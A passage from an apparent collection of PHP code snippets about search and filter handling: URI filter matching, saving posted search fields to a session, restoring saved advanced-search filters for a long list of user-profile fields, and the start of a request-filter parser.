$uri = null)\n\t{\n\t\tif (! isset(self::$config::$filters) || ! self::$config::$filters)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$uri = strtolower(trim($uri, '/ '));\n\n\t\t// Add any filters that apply to this URI\n\t\tforeach (self::$config::$filters as $alias => $settings)\n\t\t{\n\t\t\t// Look for inclusion rules\n\t\t\tif (isset($settings['before']))\n\t\t\t{\n\t\t\t\t$path = $settings['before'];\n\t\t\t\tif (self::PATH_APPLIES($uri, $path))\n\t\t\t\t{\n\t\t\t\t\tself::$filters['before'][] = $alias;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (isset($settings['after']))\n\t\t\t{\n\t\t\t\t$path = $settings['after'];\n\t\t\t\tif (self::PATH_APPLIES($uri, $path))\n\t\t\t\t{\n\t\t\t\t\tself::$filters['after'][] = $alias;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function filterAction()\n\t{\n\t\t$userSession = new Container('fo_user');\n\t\t$this->layout('frontend');\n\t\t$request \t\t= $this->getRequest();\n\t\t$message\t\t= '';\n\t\t$errorMessage\t= '';\n\t\t\n\t\t//\tDestroy listing Session Vars\n\t\t$listingSession = new Container('fo_listing');\n\t\t/*\t$sessionArray\t= array();\n\t\tforeach($listingSession->getIterator() as $key => $value) {\n\t\t\t$sessionArray[]\t= $key;\n\t\t}\n\t\tforeach($sessionArray as $key => $value) {\n\t\t\t$listingSession->offsetUnset($value);\n\t\t}\t*/\n\t\t\n\t\tif ($request->isPost()) {\n\t\t\t$formData\t= $request->getPost();\n\t\t\t\n\t\t\tif(isset($formData['search'])) {\n\t\t\t\t//\tKeyword\n\t\t\t\tif($formData['search'] != '')\n\t\t\t\t\t$listingSession->keyword\t= $formData['search'];\n\t\t\t\telse\n\t\t\t\t\t$listingSession->keyword\t= '';\n\t\t\t\t\n\t\t\t\t//\tTrack Search Keyword Query\n\t\t\t\t$this->insertSearchQuery($listingSession->keyword);\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t//\tCategory\n\t\t\t\tif(isset($formData['category']) && $formData['category'] != '')\n\t\t\t\t\t$listingSession->category\t= $formData['category'];\n\t\t\t\telse\n\t\t\t\t\t$listingSession->category\t= '';\n\t\t\t\t//\tRanking\n\t\t\t\tif(isset($formData['ranking']) && $formData['ranking'] != '')\n\t\t\t\t\t$listingSession->ranking\t= $formData['ranking'];\n\t\t\t\telse\n\t\t\t\t\t$listingSession->ranking\t= '';\n\t\t\t\t//\tLength\n\t\t\t\tif(isset($formData['length']) && $formData['length'] != '')\n\t\t\t\t\t$listingSession->length\t= $formData['length'];\n\t\t\t\telse\n\t\t\t\t\t$listingSession->length\t= '';\n\t\t\t\t//\tFriend\n\t\t\t\tif(isset($formData['friend']) && $formData['friend'] != '')\n\t\t\t\t\t$listingSession->friend\t= $formData['friend'];\n\t\t\t\telse\n\t\t\t\t\t$listingSession->friend\t= '';\n\t\t\t\t//\tSeen\n\t\t\t\tif(isset($formData['seen']) && $formData['seen'] != '')\n\t\t\t\t\t$listingSession->seen\t= $formData['seen'];\n\t\t\t\telse\n\t\t\t\t\t$listingSession->seen\t= '';\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn new ViewModel(array(\n\t\t\t'userObject'\t=> $userSession->userSession,\n\t\t\t'message'\t\t=> $message,\n\t\t\t'errorMessage'\t=> $errorMessage,\n\t\t\t'action'\t\t=> $this->params('action'),\n\t\t\t'controller'\t=> $this->params('controller'),\n\t\t));\n }", "function RestoreFilterList() {\n\n\t\t// Return if not reset filter\n\t\tif (@$_POST[\"cmd\"] <> \"resetfilter\")\n\t\t\treturn FALSE;\n\t\t$filter = json_decode(ew_StripSlashes(@$_POST[\"filter\"]), TRUE);\n\t\t$this->Command = \"search\";\n\n\t\t// Field id\n\t\t$this->id->AdvancedSearch->SearchValue = @$filter[\"x_id\"];\n\t\t$this->id->AdvancedSearch->SearchOperator = @$filter[\"z_id\"];\n\t\t$this->id->AdvancedSearch->SearchCondition = @$filter[\"v_id\"];\n\t\t$this->id->AdvancedSearch->SearchValue2 = @$filter[\"y_id\"];\n\t\t$this->id->AdvancedSearch->SearchOperator2 = @$filter[\"w_id\"];\n\t\t$this->id->AdvancedSearch->Save();\n\n\t\t// Field name\n\t\t$this->name->AdvancedSearch->SearchValue = @$filter[\"x_name\"];\n\t\t$this->name->AdvancedSearch->SearchOperator = @$filter[\"z_name\"];\n\t\t$this->name->AdvancedSearch->SearchCondition = @$filter[\"v_name\"];\n\t\t$this->name->AdvancedSearch->SearchValue2 = @$filter[\"y_name\"];\n\t\t$this->name->AdvancedSearch->SearchOperator2 = @$filter[\"w_name\"];\n\t\t$this->name->AdvancedSearch->Save();\n\n\t\t// Field email\n\t\t$this->_email->AdvancedSearch->SearchValue = @$filter[\"x__email\"];\n\t\t$this->_email->AdvancedSearch->SearchOperator = @$filter[\"z__email\"];\n\t\t$this->_email->AdvancedSearch->SearchCondition = @$filter[\"v__email\"];\n\t\t$this->_email->AdvancedSearch->SearchValue2 = @$filter[\"y__email\"];\n\t\t$this->_email->AdvancedSearch->SearchOperator2 = @$filter[\"w__email\"];\n\t\t$this->_email->AdvancedSearch->Save();\n\n\t\t// Field companyname\n\t\t$this->companyname->AdvancedSearch->SearchValue = @$filter[\"x_companyname\"];\n\t\t$this->companyname->AdvancedSearch->SearchOperator = @$filter[\"z_companyname\"];\n\t\t$this->companyname->AdvancedSearch->SearchCondition = @$filter[\"v_companyname\"];\n\t\t$this->companyname->AdvancedSearch->SearchValue2 = @$filter[\"y_companyname\"];\n\t\t$this->companyname->AdvancedSearch->SearchOperator2 = @$filter[\"w_companyname\"];\n\t\t$this->companyname->AdvancedSearch->Save();\n\n\t\t// Field servicetime\n\t\t$this->servicetime->AdvancedSearch->SearchValue = @$filter[\"x_servicetime\"];\n\t\t$this->servicetime->AdvancedSearch->SearchOperator = @$filter[\"z_servicetime\"];\n\t\t$this->servicetime->AdvancedSearch->SearchCondition = @$filter[\"v_servicetime\"];\n\t\t$this->servicetime->AdvancedSearch->SearchValue2 = @$filter[\"y_servicetime\"];\n\t\t$this->servicetime->AdvancedSearch->SearchOperator2 = @$filter[\"w_servicetime\"];\n\t\t$this->servicetime->AdvancedSearch->Save();\n\n\t\t// Field country\n\t\t$this->country->AdvancedSearch->SearchValue = @$filter[\"x_country\"];\n\t\t$this->country->AdvancedSearch->SearchOperator = @$filter[\"z_country\"];\n\t\t$this->country->AdvancedSearch->SearchCondition = @$filter[\"v_country\"];\n\t\t$this->country->AdvancedSearch->SearchValue2 = @$filter[\"y_country\"];\n\t\t$this->country->AdvancedSearch->SearchOperator2 = @$filter[\"w_country\"];\n\t\t$this->country->AdvancedSearch->Save();\n\n\t\t// Field phone\n\t\t$this->phone->AdvancedSearch->SearchValue = @$filter[\"x_phone\"];\n\t\t$this->phone->AdvancedSearch->SearchOperator = @$filter[\"z_phone\"];\n\t\t$this->phone->AdvancedSearch->SearchCondition = @$filter[\"v_phone\"];\n\t\t$this->phone->AdvancedSearch->SearchValue2 = @$filter[\"y_phone\"];\n\t\t$this->phone->AdvancedSearch->SearchOperator2 = @$filter[\"w_phone\"];\n\t\t$this->phone->AdvancedSearch->Save();\n\n\t\t// Field skype\n\t\t$this->skype->AdvancedSearch->SearchValue = @$filter[\"x_skype\"];\n\t\t$this->skype->AdvancedSearch->SearchOperator = @$filter[\"z_skype\"];\n\t\t$this->skype->AdvancedSearch->SearchCondition = @$filter[\"v_skype\"];\n\t\t$this->skype->AdvancedSearch->SearchValue2 = @$filter[\"y_skype\"];\n\t\t$this->skype->AdvancedSearch->SearchOperator2 = @$filter[\"w_skype\"];\n\t\t$this->skype->AdvancedSearch->Save();\n\n\t\t// Field website\n\t\t$this->website->AdvancedSearch->SearchValue = @$filter[\"x_website\"];\n\t\t$this->website->AdvancedSearch->SearchOperator = @$filter[\"z_website\"];\n\t\t$this->website->AdvancedSearch->SearchCondition = @$filter[\"v_website\"];\n\t\t$this->website->AdvancedSearch->SearchValue2 = @$filter[\"y_website\"];\n\t\t$this->website->AdvancedSearch->SearchOperator2 = @$filter[\"w_website\"];\n\t\t$this->website->AdvancedSearch->Save();\n\n\t\t// Field linkedin\n\t\t$this->linkedin->AdvancedSearch->SearchValue = @$filter[\"x_linkedin\"];\n\t\t$this->linkedin->AdvancedSearch->SearchOperator = @$filter[\"z_linkedin\"];\n\t\t$this->linkedin->AdvancedSearch->SearchCondition = @$filter[\"v_linkedin\"];\n\t\t$this->linkedin->AdvancedSearch->SearchValue2 = @$filter[\"y_linkedin\"];\n\t\t$this->linkedin->AdvancedSearch->SearchOperator2 = @$filter[\"w_linkedin\"];\n\t\t$this->linkedin->AdvancedSearch->Save();\n\n\t\t// Field facebook\n\t\t$this->facebook->AdvancedSearch->SearchValue = @$filter[\"x_facebook\"];\n\t\t$this->facebook->AdvancedSearch->SearchOperator = @$filter[\"z_facebook\"];\n\t\t$this->facebook->AdvancedSearch->SearchCondition = @$filter[\"v_facebook\"];\n\t\t$this->facebook->AdvancedSearch->SearchValue2 = @$filter[\"y_facebook\"];\n\t\t$this->facebook->AdvancedSearch->SearchOperator2 = @$filter[\"w_facebook\"];\n\t\t$this->facebook->AdvancedSearch->Save();\n\n\t\t// Field twitter\n\t\t$this->twitter->AdvancedSearch->SearchValue = @$filter[\"x_twitter\"];\n\t\t$this->twitter->AdvancedSearch->SearchOperator = @$filter[\"z_twitter\"];\n\t\t$this->twitter->AdvancedSearch->SearchCondition = @$filter[\"v_twitter\"];\n\t\t$this->twitter->AdvancedSearch->SearchValue2 = @$filter[\"y_twitter\"];\n\t\t$this->twitter->AdvancedSearch->SearchOperator2 = @$filter[\"w_twitter\"];\n\t\t$this->twitter->AdvancedSearch->Save();\n\n\t\t// Field active_code\n\t\t$this->active_code->AdvancedSearch->SearchValue = @$filter[\"x_active_code\"];\n\t\t$this->active_code->AdvancedSearch->SearchOperator = @$filter[\"z_active_code\"];\n\t\t$this->active_code->AdvancedSearch->SearchCondition = @$filter[\"v_active_code\"];\n\t\t$this->active_code->AdvancedSearch->SearchValue2 = @$filter[\"y_active_code\"];\n\t\t$this->active_code->AdvancedSearch->SearchOperator2 = @$filter[\"w_active_code\"];\n\t\t$this->active_code->AdvancedSearch->Save();\n\n\t\t// Field identification\n\t\t$this->identification->AdvancedSearch->SearchValue = @$filter[\"x_identification\"];\n\t\t$this->identification->AdvancedSearch->SearchOperator = @$filter[\"z_identification\"];\n\t\t$this->identification->AdvancedSearch->SearchCondition = @$filter[\"v_identification\"];\n\t\t$this->identification->AdvancedSearch->SearchValue2 = @$filter[\"y_identification\"];\n\t\t$this->identification->AdvancedSearch->SearchOperator2 = @$filter[\"w_identification\"];\n\t\t$this->identification->AdvancedSearch->Save();\n\n\t\t// Field link_expired\n\t\t$this->link_expired->AdvancedSearch->SearchValue = @$filter[\"x_link_expired\"];\n\t\t$this->link_expired->AdvancedSearch->SearchOperator = @$filter[\"z_link_expired\"];\n\t\t$this->link_expired->AdvancedSearch->SearchCondition = @$filter[\"v_link_expired\"];\n\t\t$this->link_expired->AdvancedSearch->SearchValue2 = @$filter[\"y_link_expired\"];\n\t\t$this->link_expired->AdvancedSearch->SearchOperator2 = @$filter[\"w_link_expired\"];\n\t\t$this->link_expired->AdvancedSearch->Save();\n\n\t\t// Field isactive\n\t\t$this->isactive->AdvancedSearch->SearchValue = @$filter[\"x_isactive\"];\n\t\t$this->isactive->AdvancedSearch->SearchOperator = @$filter[\"z_isactive\"];\n\t\t$this->isactive->AdvancedSearch->SearchCondition = @$filter[\"v_isactive\"];\n\t\t$this->isactive->AdvancedSearch->SearchValue2 = @$filter[\"y_isactive\"];\n\t\t$this->isactive->AdvancedSearch->SearchOperator2 = @$filter[\"w_isactive\"];\n\t\t$this->isactive->AdvancedSearch->Save();\n\n\t\t// Field pio\n\t\t$this->pio->AdvancedSearch->SearchValue = @$filter[\"x_pio\"];\n\t\t$this->pio->AdvancedSearch->SearchOperator = @$filter[\"z_pio\"];\n\t\t$this->pio->AdvancedSearch->SearchCondition = @$filter[\"v_pio\"];\n\t\t$this->pio->AdvancedSearch->SearchValue2 = @$filter[\"y_pio\"];\n\t\t$this->pio->AdvancedSearch->SearchOperator2 = @$filter[\"w_pio\"];\n\t\t$this->pio->AdvancedSearch->Save();\n\n\t\t// Field google\n\t\t$this->google->AdvancedSearch->SearchValue = @$filter[\"x_google\"];\n\t\t$this->google->AdvancedSearch->SearchOperator = @$filter[\"z_google\"];\n\t\t$this->google->AdvancedSearch->SearchCondition = @$filter[\"v_google\"];\n\t\t$this->google->AdvancedSearch->SearchValue2 = @$filter[\"y_google\"];\n\t\t$this->google->AdvancedSearch->SearchOperator2 = @$filter[\"w_google\"];\n\t\t$this->google->AdvancedSearch->Save();\n\n\t\t// Field instagram\n\t\t$this->instagram->AdvancedSearch->SearchValue = @$filter[\"x_instagram\"];\n\t\t$this->instagram->AdvancedSearch->SearchOperator = @$filter[\"z_instagram\"];\n\t\t$this->instagram->AdvancedSearch->SearchCondition = @$filter[\"v_instagram\"];\n\t\t$this->instagram->AdvancedSearch->SearchValue2 = @$filter[\"y_instagram\"];\n\t\t$this->instagram->AdvancedSearch->SearchOperator2 = @$filter[\"w_instagram\"];\n\t\t$this->instagram->AdvancedSearch->Save();\n\n\t\t// Field account_type\n\t\t$this->account_type->AdvancedSearch->SearchValue = @$filter[\"x_account_type\"];\n\t\t$this->account_type->AdvancedSearch->SearchOperator = @$filter[\"z_account_type\"];\n\t\t$this->account_type->AdvancedSearch->SearchCondition = @$filter[\"v_account_type\"];\n\t\t$this->account_type->AdvancedSearch->SearchValue2 = @$filter[\"y_account_type\"];\n\t\t$this->account_type->AdvancedSearch->SearchOperator2 = @$filter[\"w_account_type\"];\n\t\t$this->account_type->AdvancedSearch->Save();\n\n\t\t// Field logo\n\t\t$this->logo->AdvancedSearch->SearchValue = @$filter[\"x_logo\"];\n\t\t$this->logo->AdvancedSearch->SearchOperator = @$filter[\"z_logo\"];\n\t\t$this->logo->AdvancedSearch->SearchCondition = @$filter[\"v_logo\"];\n\t\t$this->logo->AdvancedSearch->SearchValue2 = @$filter[\"y_logo\"];\n\t\t$this->logo->AdvancedSearch->SearchOperator2 = @$filter[\"w_logo\"];\n\t\t$this->logo->AdvancedSearch->Save();\n\n\t\t// Field profilepic\n\t\t$this->profilepic->AdvancedSearch->SearchValue = @$filter[\"x_profilepic\"];\n\t\t$this->profilepic->AdvancedSearch->SearchOperator = @$filter[\"z_profilepic\"];\n\t\t$this->profilepic->AdvancedSearch->SearchCondition = @$filter[\"v_profilepic\"];\n\t\t$this->profilepic->AdvancedSearch->SearchValue2 = @$filter[\"y_profilepic\"];\n\t\t$this->profilepic->AdvancedSearch->SearchOperator2 = @$filter[\"w_profilepic\"];\n\t\t$this->profilepic->AdvancedSearch->Save();\n\n\t\t// Field mailref\n\t\t$this->mailref->AdvancedSearch->SearchValue = @$filter[\"x_mailref\"];\n\t\t$this->mailref->AdvancedSearch->SearchOperator = @$filter[\"z_mailref\"];\n\t\t$this->mailref->AdvancedSearch->SearchCondition = @$filter[\"v_mailref\"];\n\t\t$this->mailref->AdvancedSearch->SearchValue2 = @$filter[\"y_mailref\"];\n\t\t$this->mailref->AdvancedSearch->SearchOperator2 = @$filter[\"w_mailref\"];\n\t\t$this->mailref->AdvancedSearch->Save();\n\n\t\t// Field deleted\n\t\t$this->deleted->AdvancedSearch->SearchValue = @$filter[\"x_deleted\"];\n\t\t$this->deleted->AdvancedSearch->SearchOperator = @$filter[\"z_deleted\"];\n\t\t$this->deleted->AdvancedSearch->SearchCondition = @$filter[\"v_deleted\"];\n\t\t$this->deleted->AdvancedSearch->SearchValue2 = @$filter[\"y_deleted\"];\n\t\t$this->deleted->AdvancedSearch->SearchOperator2 = @$filter[\"w_deleted\"];\n\t\t$this->deleted->AdvancedSearch->Save();\n\n\t\t// Field deletefeedback\n\t\t$this->deletefeedback->AdvancedSearch->SearchValue = @$filter[\"x_deletefeedback\"];\n\t\t$this->deletefeedback->AdvancedSearch->SearchOperator = @$filter[\"z_deletefeedback\"];\n\t\t$this->deletefeedback->AdvancedSearch->SearchCondition = @$filter[\"v_deletefeedback\"];\n\t\t$this->deletefeedback->AdvancedSearch->SearchValue2 = @$filter[\"y_deletefeedback\"];\n\t\t$this->deletefeedback->AdvancedSearch->SearchOperator2 = @$filter[\"w_deletefeedback\"];\n\t\t$this->deletefeedback->AdvancedSearch->Save();\n\n\t\t// Field account_id\n\t\t$this->account_id->AdvancedSearch->SearchValue = @$filter[\"x_account_id\"];\n\t\t$this->account_id->AdvancedSearch->SearchOperator = @$filter[\"z_account_id\"];\n\t\t$this->account_id->AdvancedSearch->SearchCondition = @$filter[\"v_account_id\"];\n\t\t$this->account_id->AdvancedSearch->SearchValue2 = @$filter[\"y_account_id\"];\n\t\t$this->account_id->AdvancedSearch->SearchOperator2 = @$filter[\"w_account_id\"];\n\t\t$this->account_id->AdvancedSearch->Save();\n\n\t\t// Field start_date\n\t\t$this->start_date->AdvancedSearch->SearchValue = @$filter[\"x_start_date\"];\n\t\t$this->start_date->AdvancedSearch->SearchOperator = @$filter[\"z_start_date\"];\n\t\t$this->start_date->AdvancedSearch->SearchCondition = @$filter[\"v_start_date\"];\n\t\t$this->start_date->AdvancedSearch->SearchValue2 = @$filter[\"y_start_date\"];\n\t\t$this->start_date->AdvancedSearch->SearchOperator2 = @$filter[\"w_start_date\"];\n\t\t$this->start_date->AdvancedSearch->Save();\n\n\t\t// Field end_date\n\t\t$this->end_date->AdvancedSearch->SearchValue = @$filter[\"x_end_date\"];\n\t\t$this->end_date->AdvancedSearch->SearchOperator = @$filter[\"z_end_date\"];\n\t\t$this->end_date->AdvancedSearch->SearchCondition = @$filter[\"v_end_date\"];\n\t\t$this->end_date->AdvancedSearch->SearchValue2 = @$filter[\"y_end_date\"];\n\t\t$this->end_date->AdvancedSearch->SearchOperator2 = @$filter[\"w_end_date\"];\n\t\t$this->end_date->AdvancedSearch->Save();\n\n\t\t// Field year_moth\n\t\t$this->year_moth->AdvancedSearch->SearchValue = @$filter[\"x_year_moth\"];\n\t\t$this->year_moth->AdvancedSearch->SearchOperator = @$filter[\"z_year_moth\"];\n\t\t$this->year_moth->AdvancedSearch->SearchCondition = @$filter[\"v_year_moth\"];\n\t\t$this->year_moth->AdvancedSearch->SearchValue2 = @$filter[\"y_year_moth\"];\n\t\t$this->year_moth->AdvancedSearch->SearchOperator2 = @$filter[\"w_year_moth\"];\n\t\t$this->year_moth->AdvancedSearch->Save();\n\n\t\t// Field registerdate\n\t\t$this->registerdate->AdvancedSearch->SearchValue = @$filter[\"x_registerdate\"];\n\t\t$this->registerdate->AdvancedSearch->SearchOperator = @$filter[\"z_registerdate\"];\n\t\t$this->registerdate->AdvancedSearch->SearchCondition = @$filter[\"v_registerdate\"];\n\t\t$this->registerdate->AdvancedSearch->SearchValue2 = @$filter[\"y_registerdate\"];\n\t\t$this->registerdate->AdvancedSearch->SearchOperator2 = @$filter[\"w_registerdate\"];\n\t\t$this->registerdate->AdvancedSearch->Save();\n\n\t\t// Field login_type\n\t\t$this->login_type->AdvancedSearch->SearchValue = @$filter[\"x_login_type\"];\n\t\t$this->login_type->AdvancedSearch->SearchOperator = @$filter[\"z_login_type\"];\n\t\t$this->login_type->AdvancedSearch->SearchCondition = @$filter[\"v_login_type\"];\n\t\t$this->login_type->AdvancedSearch->SearchValue2 = @$filter[\"y_login_type\"];\n\t\t$this->login_type->AdvancedSearch->SearchOperator2 = @$filter[\"w_login_type\"];\n\t\t$this->login_type->AdvancedSearch->Save();\n\n\t\t// Field accountstatus\n\t\t$this->accountstatus->AdvancedSearch->SearchValue = @$filter[\"x_accountstatus\"];\n\t\t$this->accountstatus->AdvancedSearch->SearchOperator = @$filter[\"z_accountstatus\"];\n\t\t$this->accountstatus->AdvancedSearch->SearchCondition = @$filter[\"v_accountstatus\"];\n\t\t$this->accountstatus->AdvancedSearch->SearchValue2 = @$filter[\"y_accountstatus\"];\n\t\t$this->accountstatus->AdvancedSearch->SearchOperator2 = @$filter[\"w_accountstatus\"];\n\t\t$this->accountstatus->AdvancedSearch->Save();\n\n\t\t// Field ispay\n\t\t$this->ispay->AdvancedSearch->SearchValue = @$filter[\"x_ispay\"];\n\t\t$this->ispay->AdvancedSearch->SearchOperator = @$filter[\"z_ispay\"];\n\t\t$this->ispay->AdvancedSearch->SearchCondition = @$filter[\"v_ispay\"];\n\t\t$this->ispay->AdvancedSearch->SearchValue2 = @$filter[\"y_ispay\"];\n\t\t$this->ispay->AdvancedSearch->SearchOperator2 = @$filter[\"w_ispay\"];\n\t\t$this->ispay->AdvancedSearch->Save();\n\n\t\t// Field profilelink\n\t\t$this->profilelink->AdvancedSearch->SearchValue = @$filter[\"x_profilelink\"];\n\t\t$this->profilelink->AdvancedSearch->SearchOperator = @$filter[\"z_profilelink\"];\n\t\t$this->profilelink->AdvancedSearch->SearchCondition = @$filter[\"v_profilelink\"];\n\t\t$this->profilelink->AdvancedSearch->SearchValue2 = @$filter[\"y_profilelink\"];\n\t\t$this->profilelink->AdvancedSearch->SearchOperator2 = @$filter[\"w_profilelink\"];\n\t\t$this->profilelink->AdvancedSearch->Save();\n\n\t\t// Field source\n\t\t$this->source->AdvancedSearch->SearchValue = @$filter[\"x_source\"];\n\t\t$this->source->AdvancedSearch->SearchOperator = @$filter[\"z_source\"];\n\t\t$this->source->AdvancedSearch->SearchCondition = @$filter[\"v_source\"];\n\t\t$this->source->AdvancedSearch->SearchValue2 = @$filter[\"y_source\"];\n\t\t$this->source->AdvancedSearch->SearchOperator2 = @$filter[\"w_source\"];\n\t\t$this->source->AdvancedSearch->Save();\n\n\t\t// Field agree\n\t\t$this->agree->AdvancedSearch->SearchValue = @$filter[\"x_agree\"];\n\t\t$this->agree->AdvancedSearch->SearchOperator = @$filter[\"z_agree\"];\n\t\t$this->agree->AdvancedSearch->SearchCondition = @$filter[\"v_agree\"];\n\t\t$this->agree->AdvancedSearch->SearchValue2 = @$filter[\"y_agree\"];\n\t\t$this->agree->AdvancedSearch->SearchOperator2 = @$filter[\"w_agree\"];\n\t\t$this->agree->AdvancedSearch->Save();\n\n\t\t// Field balance\n\t\t$this->balance->AdvancedSearch->SearchValue = @$filter[\"x_balance\"];\n\t\t$this->balance->AdvancedSearch->SearchOperator = @$filter[\"z_balance\"];\n\t\t$this->balance->AdvancedSearch->SearchCondition = @$filter[\"v_balance\"];\n\t\t$this->balance->AdvancedSearch->SearchValue2 = @$filter[\"y_balance\"];\n\t\t$this->balance->AdvancedSearch->SearchOperator2 = @$filter[\"w_balance\"];\n\t\t$this->balance->AdvancedSearch->Save();\n\n\t\t// Field job_title\n\t\t$this->job_title->AdvancedSearch->SearchValue = @$filter[\"x_job_title\"];\n\t\t$this->job_title->AdvancedSearch->SearchOperator = @$filter[\"z_job_title\"];\n\t\t$this->job_title->AdvancedSearch->SearchCondition = @$filter[\"v_job_title\"];\n\t\t$this->job_title->AdvancedSearch->SearchValue2 = @$filter[\"y_job_title\"];\n\t\t$this->job_title->AdvancedSearch->SearchOperator2 = @$filter[\"w_job_title\"];\n\t\t$this->job_title->AdvancedSearch->Save();\n\n\t\t// Field projects\n\t\t$this->projects->AdvancedSearch->SearchValue = @$filter[\"x_projects\"];\n\t\t$this->projects->AdvancedSearch->SearchOperator = @$filter[\"z_projects\"];\n\t\t$this->projects->AdvancedSearch->SearchCondition = @$filter[\"v_projects\"];\n\t\t$this->projects->AdvancedSearch->SearchValue2 = @$filter[\"y_projects\"];\n\t\t$this->projects->AdvancedSearch->SearchOperator2 = @$filter[\"w_projects\"];\n\t\t$this->projects->AdvancedSearch->Save();\n\n\t\t// Field opportunities\n\t\t$this->opportunities->AdvancedSearch->SearchValue = @$filter[\"x_opportunities\"];\n\t\t$this->opportunities->AdvancedSearch->SearchOperator = @$filter[\"z_opportunities\"];\n\t\t$this->opportunities->AdvancedSearch->SearchCondition = @$filter[\"v_opportunities\"];\n\t\t$this->opportunities->AdvancedSearch->SearchValue2 = @$filter[\"y_opportunities\"];\n\t\t$this->opportunities->AdvancedSearch->SearchOperator2 = @$filter[\"w_opportunities\"];\n\t\t$this->opportunities->AdvancedSearch->Save();\n\n\t\t// Field isconsaltant\n\t\t$this->isconsaltant->AdvancedSearch->SearchValue = @$filter[\"x_isconsaltant\"];\n\t\t$this->isconsaltant->AdvancedSearch->SearchOperator = @$filter[\"z_isconsaltant\"];\n\t\t$this->isconsaltant->AdvancedSearch->SearchCondition = @$filter[\"v_isconsaltant\"];\n\t\t$this->isconsaltant->AdvancedSearch->SearchValue2 = @$filter[\"y_isconsaltant\"];\n\t\t$this->isconsaltant->AdvancedSearch->SearchOperator2 = @$filter[\"w_isconsaltant\"];\n\t\t$this->isconsaltant->AdvancedSearch->Save();\n\n\t\t// Field isagent\n\t\t$this->isagent->AdvancedSearch->SearchValue = @$filter[\"x_isagent\"];\n\t\t$this->isagent->AdvancedSearch->SearchOperator = @$filter[\"z_isagent\"];\n\t\t$this->isagent->AdvancedSearch->SearchCondition = @$filter[\"v_isagent\"];\n\t\t$this->isagent->AdvancedSearch->SearchValue2 = @$filter[\"y_isagent\"];\n\t\t$this->isagent->AdvancedSearch->SearchOperator2 = @$filter[\"w_isagent\"];\n\t\t$this->isagent->AdvancedSearch->Save();\n\n\t\t// Field isinvestor\n\t\t$this->isinvestor->AdvancedSearch->SearchValue = @$filter[\"x_isinvestor\"];\n\t\t$this->isinvestor->AdvancedSearch->SearchOperator = @$filter[\"z_isinvestor\"];\n\t\t$this->isinvestor->AdvancedSearch->SearchCondition = @$filter[\"v_isinvestor\"];\n\t\t$this->isinvestor->AdvancedSearch->SearchValue2 = @$filter[\"y_isinvestor\"];\n\t\t$this->isinvestor->AdvancedSearch->SearchOperator2 = @$filter[\"w_isinvestor\"];\n\t\t$this->isinvestor->AdvancedSearch->Save();\n\n\t\t// Field isbusinessman\n\t\t$this->isbusinessman->AdvancedSearch->SearchValue = @$filter[\"x_isbusinessman\"];\n\t\t$this->isbusinessman->AdvancedSearch->SearchOperator = @$filter[\"z_isbusinessman\"];\n\t\t$this->isbusinessman->AdvancedSearch->SearchCondition = @$filter[\"v_isbusinessman\"];\n\t\t$this->isbusinessman->AdvancedSearch->SearchValue2 = @$filter[\"y_isbusinessman\"];\n\t\t$this->isbusinessman->AdvancedSearch->SearchOperator2 = @$filter[\"w_isbusinessman\"];\n\t\t$this->isbusinessman->AdvancedSearch->Save();\n\n\t\t// Field isprovider\n\t\t$this->isprovider->AdvancedSearch->SearchValue = @$filter[\"x_isprovider\"];\n\t\t$this->isprovider->AdvancedSearch->SearchOperator = @$filter[\"z_isprovider\"];\n\t\t$this->isprovider->AdvancedSearch->SearchCondition = @$filter[\"v_isprovider\"];\n\t\t$this->isprovider->AdvancedSearch->SearchValue2 = @$filter[\"y_isprovider\"];\n\t\t$this->isprovider->AdvancedSearch->SearchOperator2 = @$filter[\"w_isprovider\"];\n\t\t$this->isprovider->AdvancedSearch->Save();\n\n\t\t// Field isproductowner\n\t\t$this->isproductowner->AdvancedSearch->SearchValue = @$filter[\"x_isproductowner\"];\n\t\t$this->isproductowner->AdvancedSearch->SearchOperator = @$filter[\"z_isproductowner\"];\n\t\t$this->isproductowner->AdvancedSearch->SearchCondition = @$filter[\"v_isproductowner\"];\n\t\t$this->isproductowner->AdvancedSearch->SearchValue2 = @$filter[\"y_isproductowner\"];\n\t\t$this->isproductowner->AdvancedSearch->SearchOperator2 = @$filter[\"w_isproductowner\"];\n\t\t$this->isproductowner->AdvancedSearch->Save();\n\n\t\t// Field states\n\t\t$this->states->AdvancedSearch->SearchValue = @$filter[\"x_states\"];\n\t\t$this->states->AdvancedSearch->SearchOperator = @$filter[\"z_states\"];\n\t\t$this->states->AdvancedSearch->SearchCondition = @$filter[\"v_states\"];\n\t\t$this->states->AdvancedSearch->SearchValue2 = @$filter[\"y_states\"];\n\t\t$this->states->AdvancedSearch->SearchOperator2 = @$filter[\"w_states\"];\n\t\t$this->states->AdvancedSearch->Save();\n\n\t\t// Field cities\n\t\t$this->cities->AdvancedSearch->SearchValue = @$filter[\"x_cities\"];\n\t\t$this->cities->AdvancedSearch->SearchOperator = @$filter[\"z_cities\"];\n\t\t$this->cities->AdvancedSearch->SearchCondition = @$filter[\"v_cities\"];\n\t\t$this->cities->AdvancedSearch->SearchValue2 = @$filter[\"y_cities\"];\n\t\t$this->cities->AdvancedSearch->SearchOperator2 = @$filter[\"w_cities\"];\n\t\t$this->cities->AdvancedSearch->Save();\n\n\t\t// Field offers\n\t\t$this->offers->AdvancedSearch->SearchValue = @$filter[\"x_offers\"];\n\t\t$this->offers->AdvancedSearch->SearchOperator = @$filter[\"z_offers\"];\n\t\t$this->offers->AdvancedSearch->SearchCondition = @$filter[\"v_offers\"];\n\t\t$this->offers->AdvancedSearch->SearchValue2 = @$filter[\"y_offers\"];\n\t\t$this->offers->AdvancedSearch->SearchOperator2 = @$filter[\"w_offers\"];\n\t\t$this->offers->AdvancedSearch->Save();\n\t\t$this->BasicSearch->setKeyword(@$filter[EW_TABLE_BASIC_SEARCH]);\n\t\t$this->BasicSearch->setType(@$filter[EW_TABLE_BASIC_SEARCH_TYPE]);\n\t}", "function _get_filters(){\n $flt = array();\n $filters = array();\n\n if(!isset($_REQUEST['dataflt'])){\n $flt = array();\n }elseif(!is_array($_REQUEST['dataflt'])){\n $flt = (array) $_REQUEST['dataflt'];\n }else{\n $flt = $_REQUEST['dataflt'];\n }\n foreach($flt as $key => $line){\n // we also take the column and filtertype in the key:\n if(!is_numeric($key)) $line = $key.$line;\n $f = $this->_parse_filter($line);\n if(is_array($f)){\n $f['logic'] = 